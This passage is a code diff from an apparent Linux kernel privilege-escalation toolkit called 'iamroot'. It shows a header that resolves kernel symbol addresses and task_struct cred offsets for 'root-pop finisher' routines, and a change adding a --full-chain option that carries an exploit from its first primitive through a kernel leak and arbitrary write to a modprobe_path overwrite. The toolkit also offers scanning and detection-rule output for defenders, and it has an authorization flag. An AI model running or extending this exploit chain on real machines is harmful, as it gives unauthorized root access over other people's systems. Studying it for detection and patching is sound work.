uintptr_t poweroff_cmd; /* poweroff_cmd[] string (alt target) */
|
||||
uintptr_t init_task; /* init_task struct */
|
||||
uintptr_t init_cred; /* init_cred struct (or 0) */
|
||||
|
||||
/* Struct offsets — same across most x86_64 kernels but config-sensitive. */
|
||||
uint32_t cred_offset_real; /* offset of real_cred in task_struct */
|
||||
uint32_t cred_offset_eff; /* offset of cred (effective) in task_struct */
|
||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||
|
||||
/* Where did each field come from. */
|
||||
enum iamroot_offset_source source_modprobe;
|
||||
enum iamroot_offset_source source_init_task;
|
||||
enum iamroot_offset_source source_cred;
|
||||
};
|
||||
|
||||
/* Best-effort resolution. Returns the number of critical fields
|
||||
* resolved (modprobe_path / init_task / cred offsets count). Caller
|
||||
* checks specific fields it needs.
|
||||
*
|
||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||
* a field already set by an earlier source. */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
|
||||
|
||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||
* shipped as relative-to-_text offsets. Idempotent. */
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase);
|
||||
|
||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
|
||||
|
||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
|
||||
|
||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
|
||||
|
||||
/* Helper: return the name of the source enum. */
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
|
||||
|
||||
#endif /* IAMROOT_OFFSETS_H */
|
||||
@@ -64,6 +64,12 @@ static void usage(const char *prog)
|
||||
" --i-know authorization gate for --exploit modes\n"
|
||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
||||
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
||||
" (the 🟡 modules return primitive-only by default; with\n"
|
||||
" --full-chain they continue to leak → arb-write →\n"
|
||||
" modprobe_path overwrite. Requires resolvable kernel\n"
|
||||
" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
|
||||
" See docs/OFFSETS.md.)\n"
|
||||
" --json machine-readable output (for SIEM/CI)\n"
|
||||
" --no-color disable ANSI color codes\n"
|
||||
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
|
||||
@@ -606,6 +612,7 @@ int main(int argc, char **argv)
|
||||
{"no-shell", no_argument, 0, 3 },
|
||||
{"json", no_argument, 0, 4 },
|
||||
{"no-color", no_argument, 0, 5 },
|
||||
{"full-chain", no_argument, 0, 7 },
|
||||
{"version", no_argument, 0, 'V'},
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0, 0, 0, 0}
|
||||
@@ -627,6 +634,7 @@ int main(int argc, char **argv)
|
||||
case 3 : ctx.no_shell = true; break;
|
||||
case 4 : ctx.json = true; break;
|
||||
case 5 : ctx.no_color = true; break;
|
||||
case 7 : ctx.full_chain = true; break;
|
||||
case 6 :
|
||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||
|
||||
Reference in New Issue
Block a user